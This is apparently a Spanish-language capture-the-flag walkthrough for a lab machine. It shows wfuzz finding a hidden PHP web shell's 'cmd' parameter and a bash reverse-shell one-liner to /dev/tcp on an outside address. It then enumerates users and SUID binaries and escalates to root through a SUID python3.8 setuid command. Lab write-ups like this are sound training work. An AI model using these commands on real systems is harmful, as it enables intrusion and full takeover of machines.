

Utilizamos Wfuzz para comprobar cuál es la palabra con la cual podemos realizar RCE, ya que parece una shell oculta.

```
> wfuzz -c -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u 'http://172.17.0.2/hidden/.shell.php?FUZZ=id' --hl 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://172.17.0.2/hidden/.shell.php?FUZZ=id
Total requests: 220560

=====
ID           Response  Lines  Word  Chars  Payload
=====
000005340:  200        1 L    3 W    54 Ch  "cmd"
```

Nos hacemos una reverse shell con el oneliner de siempre a nuestra máquina.

```
The Walking Dead - CTF  x  http://172.17.0.2/  x  http://172.17.0.2/hidden/  x  +
view-source:http://172.17.0.2/hidden/.shell.php?cmd=bash -c 'bash -i %3E%26 /dev/tcp/10.0.2.65/443 0%3E%261'
```

Una vez dentro comprobamos los usuarios y si podemos escalar privilegios a alguno de ellos.

```
www-data@f7b7a1aba815:/var/www/html/hidden$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
rick:x:1000:1000::/home/rick:/bin/bash
negan:x:1001:1001::/home/negan:/bin/bash
```

Encontramos el binario python3.8 el cual tiene permisos SUID de root.

```
www-data@f7b7a1aba815:/var/www/html/hidden$ find / -type f -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/man
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/python3.8
```

Y listo ya somos root.

```
www-data@f7b7a1aba815:/var/www/html/hidden$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@f7b7a1aba815:/var/www/html/hidden# id
uid=0(root) gid=33(www-data) groups=33(www-data)
root@f7b7a1aba815:/var/www/html/hidden# whoami
root
```